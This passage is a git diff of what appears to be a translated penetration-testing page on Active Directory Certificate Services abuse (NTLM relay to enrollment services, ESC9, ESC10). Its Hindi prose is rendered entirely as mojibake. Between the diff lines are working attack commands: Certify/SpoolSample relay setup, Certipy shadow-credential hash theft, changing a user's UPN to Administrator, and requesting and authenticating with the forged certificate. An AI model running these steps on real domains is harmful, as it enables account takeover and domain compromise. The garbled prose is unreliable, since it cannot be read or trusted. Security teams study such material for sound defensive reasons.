рд╕реБрд░рдХреНрд╖рд╛ рдХреЗрд╡рд▓ рддрдм рд╕рдВрднрд╡ рд╣реИ рдЬрдм HTTPS рдХреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, AD CS IIS рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред +- **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛** (CES), **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдиреАрддрд┐** (CEP) рд╡реЗрдм рд╕реЗрд╡рд╛, рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛** (NDES) рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ Authorization HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрдЧреЛрд╢рд┐рдПрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдиреЗрдЧреЛрд╢рд┐рдПрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг **рджреЛрдиреЛрдВ** Kerberos рдФрд░ **NTLM** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рджреМрд░рд╛рди **NTLM** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ **рдбрд╛рдЙрдирдЧреНрд░реЗрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рд╡реЗрдм рд╕реЗрд╡рд╛рдПрдБ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ HTTPS рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИрдВ, HTTPS рдЕрдХреЗрд▓реЗ **NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**ред HTTPS рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗрд╡рд▓ рддрдм рд╕рдВрднрд╡ рд╣реИ рдЬрдм HTTPS рдХреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, AD CS IIS рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред -NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдиреНрдп **рд╕рдорд╕реНрдпрд╛** NTLM рд╕рддреНрд░реЛрдВ рдХреА **рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЕрд╡рдзрд┐** рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ рд╣реИ рдЬреЛ **NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдиреНрдп **рд╕рдорд╕реНрдпрд╛** NTLM рд╕рддреНрд░реЛрдВ рдХреА **рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЕрд╡рдзрд┐** рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ рд╣реИ рдЬреЛ **NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдПрдХ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЗ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдкрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреА рд╡реИрдзрддрд╛ рдЕрд╡рдзрд┐ рд╕рддреНрд░ рдХреА рдЕрд╡рдзрд┐ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИ, рдФрд░ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреЛ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ **NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ** рдХреА рдорд╛рдВрдЧ рдХрд░рддреА рд╣реИрдВред рдЪреЛрд░реА рдХрд┐рдП рдЧрдП рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, рджреЗрдЦреЗрдВ: +рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдПрдХ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЗ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдкрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╡реИрдзрддрд╛ рдЕрд╡рдзрд┐ рд╕рддреНрд░ рдХреА рдЕрд╡рдзрд┐ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИ, рдФрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ **NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЪреЛрд░реА рдХрд┐рдП рдЧрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: {{#ref}} account-persistence.md @@ -352,18 +352,18 @@ Certify.exe cas ```
-`msPKI-Enrollment-Servers` рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдСрдереЛрд░рд┐рдЯреАрдЬрд╝ (CAs) рджреНрд╡рд╛рд░рд╛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдПрдирд░реЛрд▓рдореЗрдВрдЯ рд╕рд░реНрд╡рд┐рд╕ (CES) рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ **Certutil.exe** рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд░реНрд╕ рдФрд░ рд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +`msPKI-Enrollment-Servers` рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЕрдереЙрд░рд┐рдЯреАрдЬрд╝ (CAs) рджреНрд╡рд╛рд░рд╛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдПрдирд░реЛрд▓рдореЗрдВрдЯ рд╕рд░реНрд╡рд┐рд╕ (CES) рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рдЯреВрд▓ **Certutil.exe** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд░реНрд╕ рдФрд░ рд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ```
-```powershell +```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Certify рдХреЗ рд╕рд╛рде рджреБрд░реБрдкрдпреЛрдЧ +#### Certify рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abuse with [Certipy](https://github.com/ly4k/Certipy) -рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз Certipy рджреНрд╡рд╛рд░рд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `Machine` рдпрд╛ `User` рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рд┐рд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рдЦрд╛рддрд╛ рдирд╛рдо `$` рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ `-template` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Certipy рджреНрд╡рд╛рд░рд╛ `Machine` рдпрд╛ `User` рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рд┐рд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рдЦрд╛рддрд╛ рдирд╛рдо `$` рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ `-template` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рддрдХрдиреАрдХ рдЬреИрд╕реЗ [PetitPotam](https://github.com/ly4k/PetitPotam) рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд┐рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп, `-template DomainController` рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред ```bash @@ -399,7 +399,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Explanation -рдирдпрд╛ рдорд╛рди **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) рдХреЗ рд▓рд┐рдП **`msPKI-Enrollment-Flag`**, рдЬрд┐рд╕реЗ ESC9 рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ **рдирдП `szOID_NTDS_CA_SECURITY_EXT` рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╕реНрддрд╛рд░** рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред рдпрд╣ рдзреНрд╡рдЬ рддрдм рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм `StrongCertificateBindingEnforcement` рдХреЛ `1` (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ) рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ `2` рдХреЗ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рд╡рд┐рдкрд░реАрдд рд╣реИред рдЗрд╕рдХреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХрддрд╛ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдмрдврд╝ рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдВ Kerberos рдпрд╛ Schannel рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореИрдкрд┐рдВрдЧ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ ESC10 рдореЗрдВ), рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ ESC9 рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдирд╣реАрдВ рдмрджрд▓реЗрдЧреАред +рдирдпрд╛ рдорд╛рди **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) рдХреЗ рд▓рд┐рдП **`msPKI-Enrollment-Flag`**, рдЬрд┐рд╕реЗ ESC9 рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ **рдирдП `szOID_NTDS_CA_SECURITY_EXT` рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╕реНрддрд╛рд░** рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред рдпрд╣ рдзреНрд╡рдЬ рддрдм рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм `StrongCertificateBindingEnforcement` рдХреЛ `1` (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ) рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдЬреЛ `2` рдХреЗ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рд╡рд┐рдкрд░реАрдд рд╣реИред рдЗрд╕рдХреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХрддрд╛ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдмрдврд╝ рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдВ Kerberos рдпрд╛ Schannel рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореИрдкрд┐рдВрдЧ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ ESC10 рдореЗрдВ), рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ ESC9 рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдирд╣реАрдВ рдмрджрд▓реЗрдЧреАред рдЗрд╕ рдзреНрд╡рдЬ рдХреЗ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрдиреЗ рдХреА рд╢рд░реНрддреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: @@ -412,7 +412,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) рдорд╛рди рд▓реАрдЬрд┐рдП `John@corp.local` рдХреЗ рдкрд╛рд╕ `Jane@corp.local` рдкрд░ `GenericWrite` рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рд▓рдХреНрд╖реНрдп `Administrator@corp.local` рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИред `ESC9` рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕рдореЗрдВ `Jane@corp.local` рдХреЛ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдХреЛ рдЗрд╕рдХреЗ `msPKI-Enrollment-Flag` рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ `CT_FLAG_NO_SECURITY_EXTENSION` рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рд╢реБрд░реБрдЖрдд рдореЗрдВ, `Jane` рдХрд╛ рд╣реИрд╢ Shadow Credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдзрдиреНрдпрд╡рд╛рдж `John` рдХреЗ `GenericWrite`: +рд╢реБрд░реБрдЖрдд рдореЗрдВ, `Jane` рдХрд╛ рд╣реИрд╢ `John` рдХреЗ `GenericWrite` рдХреЗ рдХрд╛рд░рдг Shadow Credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` @@ -442,8 +442,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдкрд░ рджреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдорд╛рди ESC10 рджреНрд╡рд╛рд░рд╛ рд╕рдВрджрд░реНрднрд┐рдд рд╣реИрдВ: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` рдХреЗ рддрд╣рдд `CertificateMappingMethods` рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди `0x18` (`0x8 | 0x10`) рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ `0x1F` рдкрд░ рд╕реЗрдЯ рдерд╛ред -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` рдХреЗ рддрд╣рдд `StrongCertificateBindingEnforcement` рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ `1` рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ `0` рдереАред +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` рдХреЗ рддрд╣рдд `CertificateMappingMethods` рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди `0x18` (`0x8 | 0x10`) рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ `0x1F` рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` рдХреЗ рддрд╣рдд `StrongCertificateBindingEnforcement` рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ `1` рд╣реИ, рдкрд╣рд▓реЗ `0`ред **рдорд╛рдорд▓рд╛ 1** @@ -457,13 +457,13 @@ certipy auth -pfx adminitrator.pfx -domain corp.local рдЬрдм `StrongCertificateBindingEnforcement` рдХреЛ `0` рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ `GenericWrite` рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рддрд╛ A рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ B рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Jane@corp.local` рдкрд░ `GenericWrite` рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ `Administrator@corp.local` рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ESC9 рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Jane@corp.local` рдкрд░ `GenericWrite` рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ `Administrator@corp.local` рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ESC9 рдХреЗ рд╕рдорд╛рди рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╢реБрд░реБрдЖрдд рдореЗрдВ, `Jane` рдХрд╛ рд╣реИрд╢ Shadow Credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, `GenericWrite` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -рдЗрд╕рдХреЗ рдмрд╛рдж, `Jane` рдХрд╛ `userPrincipalName` `Administrator` рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╛рдирдмреВрдЭрдХрд░ `@corp.local` рднрд╛рдЧ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХреЛрдИ рдмрд╛рдзрд╛ рдЙрд▓реНрд▓рдВрдШрди рди рд╣реЛред +рдЗрд╕рдХреЗ рдмрд╛рдж, `Jane` рдХрд╛ `userPrincipalName` `Administrator` рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╛рдирдмреВрдЭрдХрд░ `@corp.local` рднрд╛рдЧ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдмрд╛рдзрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` @@ -471,11 +471,11 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane` рдХрд╛ `userPrincipalName` рдлрд┐рд░ 